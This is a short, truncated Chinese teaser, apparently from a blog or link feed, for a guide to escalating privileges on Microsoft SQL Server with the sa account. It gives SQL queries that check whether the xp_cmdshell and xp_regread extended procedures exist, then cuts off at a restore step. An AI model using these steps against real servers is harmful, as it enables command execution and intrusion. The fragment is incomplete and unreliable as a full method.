SA提权辅助

SA提权辅助： 1.判断扩展存储是否存在：shell   select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell'   select count(*) from master.dbo.sysobjects where name='xp_regread'   恢复：   exec sp_d

>>阅读原文<<